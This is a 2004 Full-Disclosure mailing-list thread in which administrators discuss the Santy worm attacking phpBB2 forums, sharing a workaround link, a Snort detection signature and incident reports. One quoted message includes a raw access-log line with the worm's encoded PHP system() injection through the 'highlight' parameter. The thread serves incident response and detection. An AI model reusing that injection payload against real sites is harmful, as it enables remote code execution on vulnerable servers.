[Full-Disclosure] RE: Worm hitting PHPbb2 Forums

There is a workaround posted http://forums.ir0x0rz.com/viewtopic.php?t=34

I'm hoping this will be enough to protect phpBB installs.

~M

-----Original Message-----
From: M. Shirk [mailto:shirkdog_list@hotmail.com] 
Sent: Tuesday, December 21, 2004 5:53 PM
To: incidents@securityfocus.com
Cc: full-disclosure@lists.netsys.com
Subject: RE: Worm hitting PHPbb2 Forums

I missed an important "F" on my previous post for these snort sigs.

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"BLEEDING-EDGE 
phpBB Highlighting Code Execution - Santy.A Worm"; 
flow:to_server,established; uricontent:"/viewtopic.php?"; nocase; 
uricontent:"&highlight='.fwrite(fopen("; nocase; 
reference:url,www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513; sid:9999999; 
rev:1;)

Shirkdog
http://www.shirkdog.us



> From: "Mike" <mike_sha@shaw.ca>
> To: <mark@onnow.net>, "L. Walker" <lwalker@magi.net.au>
> CC: <incidents@securityfocus.com>, <full-disclosure@lists.netsys.com>
> Subject: RE: Worm hitting PHPbb2 Forums
> Date: Tue, 21 Dec 2004 13:28:27 -0500
>
> Does this affect PHPBB2 in general, or is it platform specific as well?
>
> Mike Fetherston
>
> > -----Original Message-----
> > From: mark@onnow.net [mailto:mark@onnow.net]
> > Sent: Tuesday, December 21, 2004 12:47 PM
> > To: L. Walker
> > Cc: incidents@securityfocus.com; full-disclosure@lists.netsys.com
> > Subject: Re: Worm hitting PHPbb2 Forums
> >
> > Front what I have read, this can happen in any phpbb version lower
> than
> > 2.0.11
> >
> > This exploit is becoming frequent.  Normally uploading a ddos bot.
> >
> > Mark
> >
> > Quoting "L. Walker" <lwalker@magi.net.au>:
> >
> > > Just spotted two clients hit by this.  One client didnt update his
> > > software (PHP 4.3.4, Apache 1.3.22) and was rootkitted by generation
> 16.
> > > Chkrootkit says its Adore, however could be something else.
> Datacenter
> > > wasn't very smart and has since wiped the server, so no binaries or
> > other
> > > evidence.
> > >
> > > Generation 12 only wiped out PHP files, replacing them with its own
> > > message on other client's PHPbb2 forum.  Access logs show:
> > >
> > > 66.220.28.92 - - [21/Dec/2004:18:07:17 +1100] "GET
> /forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlig
> ht
> >
> =%2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252ech
> r(
> >
> 32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252ech
> r(
> >
> 112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252ec
> hr
> >
> (84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252ec
> hr
> >
> (49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252
> ec
> >
> hr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252
> ec
> >
> hr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%
> 25
> >
> 2echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%
> 25
> >
> 2echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr(106
> )%
> >
> 252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr(78
> )%
> > 252echr(41)%252echr(34))%252e%2527
> > > HTTP/1.0" 200 270
> "http://www.noobforces.net/forum/viewtopic.php?p=1445&sid=d2260869a73fb5
> ac
> >
> a2aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252ech
> r(
> >
> 114)%252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252ec
> hr
> >
> (34)%252echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252
> ec
> >
> hr(79)%252echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252e
> ch
> >
> r(62)%252echr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252
> ec
> >
> hr(111)%252echr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%25
> 2e
> >
> chr(100)%252echr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)
> %2
> >
> 52echr(116)%252echr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)
> %2
> >
> 52echr(118)%252echr(57)%252echr(112)%252echr(111)%252echr(52)%252echr(12
> 2)
> >
> %252echr(51)%252echr(106)%252echr(106)%252echr(72)%252echr(87)%252echr(9
> 7)
> > %252echr(110)%252echr(78)%252echr(41)%252echr(34))%252e%2527"
> > > "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
> > >
> > > --
> > > L. Walker <lwalker at magi dot net dot au>
> > > Network Administrator / Consultant
> > > --
> >
> >
> >
> >
> > ----------------------------------------------------------------
> > This message was sent using IMP, the Internet Messaging Program.

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